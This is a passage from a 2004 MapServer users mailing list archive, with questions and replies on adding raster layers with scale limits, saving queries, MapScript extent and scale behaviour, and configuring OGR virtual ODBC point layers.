> and when I select the query mode and click an object, I only got "Internal Server Error" 
> and the apache log only says "Premature end of script headers".
> 
> so I removed the HEADER and FOOTER parameters of the WEB object in the mapfile, transfered the content
> of the header file to the layer_header file and the content of the footer file to the layer_footer file,
> 
> and then tried again.... so, it finally works!
> 
> what is the problem here?
> 
> 
> Eduardo Patto Kanegae
> +Homepage:http://www.consultoria.eti.br   ( BRASIL )
> +Perfil:http://www.consultoria.eti.br/ptbr/epk.php
> *F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
> *ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
> ***************************************
> ***Fim da Mensagem / End of Message ***
> ***************************************
> 
> 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 
> 
> 


From James.P.Buzbee at lmco.com  Thu Jan 22 08:41:56 2004
From: James.P.Buzbee at lmco.com (Jim Buzbee)
Date: Thu, 22 Jan 2004 09:41:56 -0700
Subject: [Mapserver-users] Easy mapfile question
Message-ID: <400FFD54.70205@lmco.com>

I'm working on an application that starts with a whole-world raster 
image.  As the user pans and zooms in different areas, I want more 
detailed raster images to be displayed if they are available.

I currently have a single raster image referenced in my map file and it 
is working properly.  My question : How do I add additional rasters to 
the map file?

For example, say I have a raster map of the western US with extents of 
something like 34N, 114W to 35N, 112W. How do I reference this in my map 
file?  Here's my current map file :

MAP
   STATUS ON
   EXTENT -180 -90 180 90
   UNITS DD
   SIZE 640 320
   SHAPEPATH  "/usr/apache2/htdocs/maps/"

WEB
   TEMPLATE world.html
   IMAGEPATH "/usr/apache2/htdocs/tmp/"
   IMAGEURL "/tmp/"
END

   LAYER
     NAME world
     TYPE RASTER
     DATA world.tif
     STATUS DEFAULT
   END

END

Thanks!

Jim Buzbee




From stephen.clark at focus.ca  Thu Jan 22 10:07:29 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Thu, 22 Jan 2004 10:07:29 -0800
Subject: [Mapserver-users] Easy mapfile question
References: <400FFD54.70205@lmco.com>
Message-ID: <00ab01c3e112$995325d0$6c000a0a@sclark>

Jim,

Add another layer  with the Western US raster as you did for the world file.

Set the MINSCALE and MAXSCALE to be available when zooming into the US.



----- Original Message ----- 
From: "Jim Buzbee" 
To: 
Sent: Thursday, January 22, 2004 8:41 AM
Subject: [Mapserver-users] Easy mapfile question


>
> I'm working on an application that starts with a whole-world raster
> image.  As the user pans and zooms in different areas, I want more
> detailed raster images to be displayed if they are available.
>
> I currently have a single raster image referenced in my map file and it
> is working properly.  My question : How do I add additional rasters to
> the map file?
>
> For example, say I have a raster map of the western US with extents of
> something like 34N, 114W to 35N, 112W. How do I reference this in my map
> file?  Here's my current map file :
>
> MAP
>    STATUS ON
>    EXTENT -180 -90 180 90
>    UNITS DD
>    SIZE 640 320
>    SHAPEPATH  "/usr/apache2/htdocs/maps/"
>
> WEB
>    TEMPLATE world.html
>    IMAGEPATH "/usr/apache2/htdocs/tmp/"
>    IMAGEURL "/tmp/"
> END
>
>    LAYER
>      NAME world
>      TYPE RASTER
>      DATA world.tif
>      STATUS DEFAULT
>    END
>
> END
>
> Thanks!
>
> Jim Buzbee
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From robert-fritz at web.de  Thu Jan 22 09:13:22 2004
From: robert-fritz at web.de (robert fritz)
Date: Thu, 22 Jan 2004 18:13:22 +0100
Subject: [Mapserver-users] Mapscript / CGI - Scale / zoomscale
Message-ID: <200401221713.i0MHDMQ26154@mailgate5.cinetic.de>

Hello,
 
So far I have used CGI to address Mapserver through. I calculate the new extend of the map for a chosen scale in JavaScript and pass this value as "mapext" to mapserver. I also pass the picture size etc.
A map with the precise calculated scale was returned (the Mapserver return value [scale] was identical to the chosen scale).
 
I am now trying to use Mapscript but don't get the expected output. If I use a new extent calculated in JavaScript as follows
...
$map->setExtent($msmapextent[0],$msmapextent[1],$msmapextent[2],$msmapextent[3]);
...
 
the scale of the output map is not as expected (e.g. calculated 1:1000, output: 1:1024; 1:2000 - 1:2048, ...).
 
This is similar to a second strange problem I encountered. When I define an area and pass its coordinates to Mapserver via CGI the output section of the map is a slightly different from the section of the map that is returned when I use the same coordinates in Mapscript ($map ->setExtent(...)). 
 
I have no idea if I am making some mistake here or have failed to grasp some concept. I know that I could use the zoomscale() function to fix the first problem but this would not fully solve my second problem.
Any useful advice?

______________________________________________________________________________
Nachrichten, Musik und Spiele schnell und einfach per Quickstart im 
WEB.DE Screensaver - Gratis downloaden: http://screensaver.web.de/?mc=021110



From Richard.Pierce at mail.state.ar.us  Thu Jan 22 09:37:23 2004
From: Richard.Pierce at mail.state.ar.us (Richie Pierce)
Date: Thu, 22 Jan 2004 11:37:23 -0600
Subject: [Mapserver-users] savequery
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E10E.64ED6C64
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

I have changed the CGI demo a little and created a simple map.  I have a
search box and pass the qlayer, qitem, qstring to mapserver CGI to
return a querymap.  Once the map is zoomed and the feature is
highlighted how do I keep the feature highlighted even when I zoom or
pan, or even turn on other layers for that matter.  I am passing
savequery=3Dtrue as a hidden var in my form but if I zoom out or refresh
the map the selection goes away. =20

=20

My form:

=20

































=20

my map file

=20

LAYER

  NAME Sections

  TYPE POLYGON

  DATA sections

  STATUS OFF

  CLASS

    NAME "Sections"

    COLOR 102 255 255

    OUTLINECOLOR 0 0 0

    TEMPLATE "sections.html"

  END

 =20

  HEADER "sections_header.html"

  FOOTER "sections_footer.html"

END

=20

LAYER

  NAME Parcels

  TYPE POLYGON

  DATA Parcels

  METADATA

    "DESCRIPTION"   "Parcels"

    "RESULT_FIELDS" "parcel_id"

  END

  STATUS DEFAULT

  CLASS

    NAME "Parcels"

    OUTLINECOLOR 102 255 102

    TEMPLATE "demo.html"

  END

END

=20

LAYER

  NAME surgo_soils

  TYPE POLYGON

  DATA SSURGO_Gen

  STATUS OFF

  CLASS

    NAME "Soils"

    OUTLINECOLOR 0 0 0=20

    TEMPLATE "soils.html"

  END

=20

  HEADER "soils_header.html"

  FOOTER "soils_footer.html"

=20

END

 =20

LAYER

  NAME parcel_points

  TYPE POINT

  DATA structures_pt

  STATUS OFF

  METADATA

    "DESCRIPTION"   "parcel_points"

    "RESULT_FIELDS" "parcel_id"

  END

  CLASSITEM 'parcel_id'

  CLASS=20

    SYMBOL 'circle'

    COLOR 255 2 78

    SIZE 10

    NAME 'parcel_points'

    TEMPLATE "demo.html"

  END

=20

END

=20

=20

Richie Pierce

GIS Cadastral Specialist

Arkansas Geographic Information Office

124 W. Capitol St.

Little Rock, AR 72201

(w) 501-682-2937

(c) 501-416-CAMP

www.gis.state.ar.us

=20


------_=_NextPart_001_01C3E10E.64ED6C64
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

















I have changed the CGI demo a little and created a =
simple
map.  I have a search box and pass the qlayer, qitem, qstring to =
mapserver
CGI to return a querymap.  Once the map is zoomed and the feature =
is
highlighted how do I keep the feature highlighted even when I zoom or =
pan, or
even turn on other layers for that matter.  I am passing =
savequery=3Dtrue as
a hidden var in my form but if I zoom out or refresh the map the =
selection goes
away.  



 



My form:



 



<form method=3DGET
action=3D"/cgi-bin/mapserv.exe">



<input type=3D"hidden" =
name=3D"map"
value=3D"c:\Inetpub\wwwroot\test_site\demo.map">



<input type=3D"hidden" =
name=3D"zoomsize"
value=3D2>



<input type=3D"hidden" =
name=3D"program"
value=3D"/cgi-bin/mapserv.exe">



<input type=3D"hidden" =
name=3D"map_web_imagepath"
value=3D"C:\tmp\ms_tmp\">



<input type=3D"hidden" =
name=3D"map_web_imageurl"
value=3D"/ms_tmp/">



<input type=3D"hidden" =
name=3D"mapext"
value=3D"shapes">



<input type=3D"hidden" =
name=3D"buffer"
value=3D"1000">



<input type=3D"hidden" =
name=3D"mode"
value=3D"itemnquery">



<input type=3D"hidden" =
name=3D"qlayer"
value=3D"Parcels">



<input type=3D"hidden" =
name=3D"qitem"
value=3D"parcel_id">



<input type=3D"TEXT" =
size=3D"30"
name=3D"qstring" value=3D"">



<input type=3D"hidden" =
name=3D"map_Sections_status"
value=3D"ON">



<input type=3D"submit"
value=3D"Search">



</form>



 



my map file



 



LAYER



  NAME Sections



  TYPE POLYGON



  DATA sections



  STATUS OFF



  CLASS



    NAME =
"Sections"



    COLOR 102 255 =
255



    OUTLINECOLOR 0 0 =
0



    TEMPLATE =
"sections.html"



  END



  



  HEADER =
"sections_header.html"



  FOOTER =
"sections_footer.html"



END



 



LAYER



  NAME Parcels



  TYPE POLYGON



  DATA Parcels



  METADATA



    =
"DESCRIPTION"  
"Parcels"



    "RESULT_FIELDS" =
"parcel_id"



  END



  STATUS DEFAULT



  CLASS



    NAME =
"Parcels"



    OUTLINECOLOR 102 255 =
102



    TEMPLATE =
"demo.html"



  END



END



 



LAYER



  NAME surgo_soils



  TYPE POLYGON



  DATA SSURGO_Gen



  STATUS OFF



  CLASS



    NAME =
"Soils"



    OUTLINECOLOR 0 0 0 =




    TEMPLATE =
"soils.html"



  END



 



  HEADER =
"soils_header.html"



  FOOTER =
"soils_footer.html"



 



END



  



LAYER



  NAME parcel_points



  TYPE POINT



  DATA structures_pt



  STATUS OFF



  METADATA



    =
"DESCRIPTION"  
"parcel_points"



    "RESULT_FIELDS" =
"parcel_id"



  END



  CLASSITEM 'parcel_id'



  CLASS 



    SYMBOL 'circle'



    COLOR 255 2 78



    SIZE 10



    NAME =
'parcel_points'



    TEMPLATE =
"demo.html"



  END



 



END



 



 



Richie Pierce



GIS Cadastral Specialist



Arkansas Geographic Information =
Office



124 W. Capitol =
St.



Little Rock, AR 72201



(w) 501-682-2937



(c) 501-416-CAMP



www.gis.state.ar.us


 








=00
------_=_NextPart_001_01C3E10E.64ED6C64--


From TMitchell at lignum.com  Thu Jan 22 10:09:25 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Thu, 22 Jan 2004 10:09:25 -0800
Subject: [Mapserver-users] Easy mapfile question
In-Reply-To: <400FFD54.70205@lmco.com>
Message-ID: 





> I currently have a single raster image referenced in my map file and it
> is working properly.  My question : How do I add additional rasters to
> the map file?

The exact same way, just adding more LAYER....END sections.

> For example, say I have a raster map of the western US with extents of
> something like 34N, 114W to 35N, 112W. How do I reference this in my map
> file?  Here's my current map file :

I guess your question may be more related to how to make the images line up
with each other and/or turn automatically.  Are you additional images
georeferenced, i.e. geotiff's or tiffs with world files (.twf)?

>
> MAP
>    STATUS ON
>    EXTENT -180 -90 180 90
>    UNITS DD
>    SIZE 640 320
>    SHAPEPATH  "/usr/apache2/htdocs/maps/"
>
> WEB
>    TEMPLATE world.html
>    IMAGEPATH "/usr/apache2/htdocs/tmp/"
>    IMAGEURL "/tmp/"
> END
>
>    LAYER
>      NAME world
>      TYPE RASTER
>      DATA world.tif
>      STATUS DEFAULT
>    END
>
> END
>
> Thanks!
>
> Jim Buzbee
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From James.P.Buzbee at lmco.com  Thu Jan 22 10:10:31 2004
From: James.P.Buzbee at lmco.com (Jim Buzbee)
Date: Thu, 22 Jan 2004 11:10:31 -0700
Subject: [Mapserver-users] Easy mapfile question
In-Reply-To: <00ab01c3e112$995325d0$6c000a0a@sclark>
References: <400FFD54.70205@lmco.com> <00ab01c3e112$995325d0$6c000a0a@sclark>
Message-ID: <40101217.9000201@lmco.com>


Stephen Clark wrote:

> Jim,
> 
> Add another layer  with the Western US raster as you did for the world file.
> 
> Set the MINSCALE and MAXSCALE to be available when zooming into the US.


Thanks - That seemed to work, although I'm not quite sure what units the 
  MINSCALE and MAXSCALE settings are in.

Jim


> 
> 
> 
> ----- Original Message ----- 
> From: "Jim Buzbee" 
> To: 
> Sent: Thursday, January 22, 2004 8:41 AM
> Subject: [Mapserver-users] Easy mapfile question
> 
> 
> 
>>I'm working on an application that starts with a whole-world raster
>>image.  As the user pans and zooms in different areas, I want more
>>detailed raster images to be displayed if they are available.
>>
>>I currently have a single raster image referenced in my map file and it
>>is working properly.  My question : How do I add additional rasters to
>>the map file?
>>
>>For example, say I have a raster map of the western US with extents of
>>something like 34N, 114W to 35N, 112W. How do I reference this in my map
>>file?  Here's my current map file :
>>
>>MAP
>>   STATUS ON
>>   EXTENT -180 -90 180 90
>>   UNITS DD
>>   SIZE 640 320
>>   SHAPEPATH  "/usr/apache2/htdocs/maps/"
>>
>>WEB
>>   TEMPLATE world.html
>>   IMAGEPATH "/usr/apache2/htdocs/tmp/"
>>   IMAGEURL "/tmp/"
>>END
>>
>>   LAYER
>>     NAME world
>>     TYPE RASTER
>>     DATA world.tif
>>     STATUS DEFAULT
>>   END
>>
>>END
>>
>>Thanks!
>>
>>Jim Buzbee
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
> 
> 
> 



From nsavard at dmsolutions.ca  Thu Jan 22 10:16:50 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Thu, 22 Jan 2004 13:16:50 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
References: <06B403677C41D51194550002A55107D201F78FF1@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <40101392.1000207@dmsolutions.ca>

Julien,

Try 

 LABELITEM  MGWI_TBLLOC #may need to use table.name or just name depending on your OVF file.

in the map file, in the virtual layer section.


Example of a map file:

...
  LAYER
    NAME "MyVirtualLayer"
    TYPE POINT
    CONNECTIONTYPE OGR
    CONNECTION "virtual.ovf" # the name and path to the virtual.ovf file, relative to shapepath may work?
    DATA "capitalNames" # the name of the OGRVrtLayer
    STATUS ON
    LABELITEM capitalName #may need to use table.name or just name depending on your OVF file.
    PROJECTION
      "init=epsg:4326"
    END
    CLASS
      SYMBOL star
      SIZE 10
      COLOR 255 0 0
      LABEL
	SIZE MEDIUM
	TYPE BITMAP
	COLOR 0 0 0
      END
    END
END # Layer

...

Example of an "ovf" file



    
        ODBC:NormMyDSN,capital
     capital
    wkbPoint
        WGS84
    
    





Norm

Julien, Heryk wrote:

>Hi to all,
>
>I replaced my version of Mapserver with a precompiled one. I also installed
>the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>
>As suggested by Frank Warmerdam I used the following SrcDataSource tag in
>the virtual file:
>ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is the
>DSN for my ODBC data source.
>
>Here is the orginfo output:
>
>D:\WebScripts\MapServer>ogrinfo --formats
>Loaded OGR Format Drivers:
>  -> "ESRI Shapefile" (read/write)
>  -> "UK .NTF" (readonly)
>  -> "SDTS" (readonly)
>  -> "TIGER" (read/write)
>  -> "S57" (read/write)
>  -> "MapInfo File" (read/write)
>  -> "DGN" (read/write)
>  -> "VRT" (readonly)
>  -> "AVCBin" (readonly)
>  -> "REC" (readonly)
>  -> "Memory" (read/write)
>  -> "GML" (read/write)
>  -> "ODBC" (read/write)
>  -> "OGDI" (readonly)
>  -> "FMEObjects Gateway" (readonly)
>
>D:\WebScripts\MapServer>ogrinfo
>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>ERROR 4: Update access not supported for VRT datasources.
>Had to open data source read-only.
>INFO: Open of
>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>using driver `VRT' successful.
>1: MGWI_TBLLOC (Point)
>
>When I execute Mapserver I got the following message:
>msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.
>
>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
>not found or unsupported format. 
>
>
>
>Thanks for the help
>
>H?ryk
>
>
>
>-----Message d'origine-----
>De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>Envoy? : Wednesday, January 21, 2004 5:26 PM
>? : Julien, Heryk
>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin
>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>Julien,
>
>Just because I do not know all the steps you have done, can you tell me 
>if you were able to have some output form "ogrinfo" command?
>
>Norm
>
>Julien, Heryk wrote:
>
>  
>
>>Hi Paul,
>>What do I write in the virtual file SrcDataSource tag when I log on a
>>    
>>
>Access
>  
>
>>db with no user restrictions and pass word?
>>I've tried the following combinations without success:
>>
>>ODBC:MGWI_MAPSERVER
>>ODBC:@MGWI_MAPSERVER
>>ODBC:/@MGWI_MAPSERVER
>>ODBC:administor/@MGWI_MAPSERVER 
>>ODBC:administeur/@MGWI_MAPSERVER
>>
>>Thanks
>>H?ryk
>>
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>Envoy? : Wednesday, January 21, 2004 1:43 PM
>>? : Julien, Heryk
>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>Anctil, Martin
>>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>>
>>
>>I believe there is a limitation in the OGR OBDC connection that requires 
>>that you provide a user name and password in the OVF file (I think that 
>>is mentioned in the wiki also).
>>
>>Cheers,
>>
>>Paul
>>
>>Julien, Heryk wrote:
>> 
>>
>>    
>>
>>>Hi,
>>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
>>>and an Access 2000 ODBC connection.
>>>
>>>I keep on getting the following error message when I attempt ton see my
>>>   
>>>
>>>      
>>>
>>map:
>> 
>>
>>    
>>
>>>msDrawMap(): Image handling error. Failed to draw layer named
>>>   
>>>
>>>      
>>>
>>'MGWI_TBLLOC'.
>> 
>>
>>    
>>
>>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>>   
>>>
>>>      
>>>
>>File
>> 
>>
>>    
>>
>>>not found or unsupported format.
>>>
>>>Anyone can help me?
>>>
>>>
>>>
>>>Here is my virtual file (mgw.ovf):
>>>
>>>
>>>   
>>>       ODBC:MGWI_MAPSERVER 
>>>	tblloc 
>>>	wkbPoint
>>>	         
>>>	 
>>>   
>>>
>>>
>>>
>>>
>>>
>>>My virtual layer is in the same directory as my shapefiles:
>>>
>>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>
>>>
>>>
>>>
>>>Here is the section of my mapfile where I call my virtual layer:
>>>
>>>LAYER
>>>	NAME "MGWI_TBLLOC"
>>>	TYPE POINT
>>>	CONNECTIONTYPE OGR
>>>	CONNECTION "mgwi.ovf"
>>>	DATA "MGWI_TBLLOC"
>>>	STATUS DEFAULT
>>>	LABELITEM "LOCID"
>>>	PROJECTION
>>>		"init=epsg:26920"
>>>	END #projection
>>>	CLASS
>>>		SYMBOL 'circle'
>>>		SIZE 8
>>>		LABEL
>>>			COLOR 132 31 31
>>>			SHADOWCOLOR 218 218 218
>>>			SHADOWSIZE 2 2
>>>			TYPE TRUETYPE
>>>			FONT arial-bold
>>>			FORCE true
>>>			SIZE 10
>>>			POSITION auto
>>>			PARTIALS FALSE
>>>			MINDISTANCE 0
>>>			BUFFER 2
>>>		END # end of label
>>>	    TEMPLATE
>>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
>>>	END # CLASS
>>>END # LAYER
>>>
>>>
>>>
>>>
>>>
>>>
>>>==========================================
>>>H?ryk
>>>NRCan
>>>
>>>-----Message d'origine-----
>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>? : 'spencer at dmsolutions.ca'
>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Thanks
>>>
>>>H?ryk
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>? : Julien, Heryk
>>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Maybe you missed it?
>>>
>>>
>>>   
>>>
>>>      
>>>
>>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html
>> 
>>
>>    
>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Julien, Heryk wrote:
>>>
>>>
>>>   
>>>
>>>      
>>>
>>>>Hi Paul,
>>>>Could you send me or post information on the "new format in 
>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>source and map two of the columns to x and y locations"?
>>>>
>>>>Thanks
>>>>H?ryk
>>>>
>>>>-----Message d'origine-----
>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>>? : 'spencer at dmsolutions.ca'
>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Hi,
>>>>I am also very interseted in that fonction. I would like to be able to
>>>>        
>>>>
>map
>  
>
>>>>well positions from a database x and y colums. Would this permit me to
>>>>     
>>>>
>>>>        
>>>>
>>>have
>>>
>>>   
>>>
>>>      
>>>
>>>>an up to date point geometry layer which reflects the changes in my well
>>>>database? Can you send me more details?
>>>>
>>>>Thanks
>>>>
>>>>H?ryk
>>>>NRCan
>>>>
>>>>-----Message d'origine-----
>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>? : bartvde at xs4all.nl
>>>>Cc : mapserver-users at lists.gis.umn.edu
>>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Bart,
>>>>
>>>>if you are interested in point geometries only, there is a new format in 
>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>source and map two of the columns to x and y locations.  We've used it 
>>>>for a couple of clients and it works very nicely.  If you are interested 
>>>>I can send you more details.
>>>>
>>>>Cheers,
>>>>
>>>>Paul
>>>>
>>>>Bart van den Eijnden wrote:
>>>>
>>>>
>>>>
>>>>     
>>>>
>>>>        
>>>>
>>>>>Hi list,
>>>>>
>>>>>I see in the history log that there has been some work done recently 
>>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>>connector. Can it be used already?
>>>>>
>>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>>Mapserver JOINS to link to tables in MySQL?
>>>>>
>>>>>Thanks in advance for the info.
>>>>>
>>>>>Best regards,
>>>>>Bart
>>>>>_______________________________________________
>>>>>Mapserver-users mailing list
>>>>>Mapserver-users at lists.gis.umn.edu
>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>
>>>>>       
>>>>>
>>>>>          
>>>>>
>>>>     
>>>>
>>>>        
>>>>
>> 
>>
>>    
>>
>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From James.P.Buzbee at lmco.com  Thu Jan 22 10:17:01 2004
From: James.P.Buzbee at lmco.com (Jim Buzbee)
Date: Thu, 22 Jan 2004 11:17:01 -0700
Subject: [Mapserver-users] Easy mapfile question
In-Reply-To: 
References: 
Message-ID: <4010139D.6050905@lmco.com>


Tyler Mitchell wrote:

> 
> 
> 
> 
>>I currently have a single raster image referenced in my map file and it
>>is working properly.  My question : How do I add additional rasters to
>>the map file?
> 
> 
> The exact same way, just adding more LAYER....END sections.

OK

> 
> 
>>For example, say I have a raster map of the western US with extents of
>>something like 34N, 114W to 35N, 112W. How do I reference this in my map
>>file?  Here's my current map file :
> 
> 
> I guess your question may be more related to how to make the images line up
> with each other and/or turn automatically.  Are you additional images
> georeferenced, i.e. geotiff's or tiffs with world files (.twf)?


Right now, that's an open question as I haven't acquired the real data.

For a test, I just created a ".wld" file that described a jpeg file and 
I'm seeing how it fits in.  From an earlier response, I gather my 
MINSCALE and MAXSCALE settings for the layers will tell mapserver when 
to render the raster?

Jim




> 
> 
>>MAP
>>   STATUS ON
>>   EXTENT -180 -90 180 90
>>   UNITS DD
>>   SIZE 640 320
>>   SHAPEPATH  "/usr/apache2/htdocs/maps/"
>>
>>WEB
>>   TEMPLATE world.html
>>   IMAGEPATH "/usr/apache2/htdocs/tmp/"
>>   IMAGEURL "/tmp/"
>>END
>>
>>   LAYER
>>     NAME world
>>     TYPE RASTER
>>     DATA world.tif
>>     STATUS DEFAULT
>>   END
>>
>>END
>>
>>Thanks!
>>
>>Jim Buzbee
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 
> 



From rich at greenwoodmap.com  Thu Jan 22 10:34:56 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Thu, 22 Jan 2004 11:34:56 -0700
Subject: [Mapserver-users] savequery
In-Reply-To: 
References: 
Message-ID: <401017D0.6070506@greenwoodmap.com>

Richie Pierce wrote:

> I have changed the CGI demo a little and created a simple map.  I have a 
> search box and pass the qlayer, qitem, qstring to mapserver CGI to 
> return a querymap.  Once the map is zoomed and the feature is 
> highlighted how do I keep the feature highlighted even when I zoom or 
> pan, or even turn on other layers for that matter.  I am passing 
> savequery=true as a hidden var in my form but if I zoom out or refresh 
> the map the selection goes away.  

When savequery is true, Mapserver will save the query to a file and pass 
the saved file name back in: [queryfile]. Then you need to pass that 
file name back to Mapserver as queryfile=(whatever_query_filname_was). 
You may need to use some javascript to give the user some control.

-- 
Richard Greenwood
www.greenwoodmap.com


From steve.lime at dnr.state.mn.us  Thu Jan 22 10:34:55 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 22 Jan 2004 12:34:55 -0600
Subject: [Mapserver-users] java
Message-ID: 

Hi Grant: There have been several posts recently talking about taking xy
coordinates from a database and plotting them. I believe there was even
sample code posted. Check the archives. You may also want to consider
PostGIS.

If you can, I think periodically moving from the database to a
shapefile is a great way to go. For one thing it allows you to use the
standard MapServer CGI, and is also probably faster. Depends on the data
though and how often it changes. MapScript combined with perl or python
is a great tool to create shapefiles from whatever.

Steve

>>> "Grant Marblestone"  1/21/2004 3:45:03 PM >>>
Is there any way to create shpfiles dynamically from a sql server
database
without sde?  Or basically just have fields x, y in the database and
show
them on a map?

Thanks,

Grant


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From nsavard at dmsolutions.ca  Thu Jan 22 10:47:44 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Thu, 22 Jan 2004 13:47:44 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
References: <06B403677C41D51194550002A55107D201F78FF1@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <40101AD0.8070607@dmsolutions.ca>

Julien,

What is the exact name of your "ovf" file?  Because the name you 
specified in the "CONNECTION" parameter in the map file does not match 
the one given for you "ovf" file.

See in your email below:  "Here is my virtual file (mgw.ovf):"

See your "CONNECTION" parameter into your map file for your specific 
virtual layer:

...
CONNECTIONTYPE OGR
CONNECTION "mgwi.ovf"

...

Norm


Julien, Heryk wrote:

>Hi to all,
>
>I replaced my version of Mapserver with a precompiled one. I also installed
>the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>
>As suggested by Frank Warmerdam I used the following SrcDataSource tag in
>the virtual file:
>ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is the
>DSN for my ODBC data source.
>
>Here is the orginfo output:
>
>D:\WebScripts\MapServer>ogrinfo --formats
>Loaded OGR Format Drivers:
>  -> "ESRI Shapefile" (read/write)
>  -> "UK .NTF" (readonly)
>  -> "SDTS" (readonly)
>  -> "TIGER" (read/write)
>  -> "S57" (read/write)
>  -> "MapInfo File" (read/write)
>  -> "DGN" (read/write)
>  -> "VRT" (readonly)
>  -> "AVCBin" (readonly)
>  -> "REC" (readonly)
>  -> "Memory" (read/write)
>  -> "GML" (read/write)
>  -> "ODBC" (read/write)
>  -> "OGDI" (readonly)
>  -> "FMEObjects Gateway" (readonly)
>
>D:\WebScripts\MapServer>ogrinfo
>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>ERROR 4: Update access not supported for VRT datasources.
>Had to open data source read-only.
>INFO: Open of
>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>using driver `VRT' successful.
>1: MGWI_TBLLOC (Point)
>
>When I execute Mapserver I got the following message:
>msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.
>
>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
>not found or unsupported format. 
>
>
>
>Thanks for the help
>
>H?ryk
>
>
>
>-----Message d'origine-----
>De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>Envoy? : Wednesday, January 21, 2004 5:26 PM
>? : Julien, Heryk
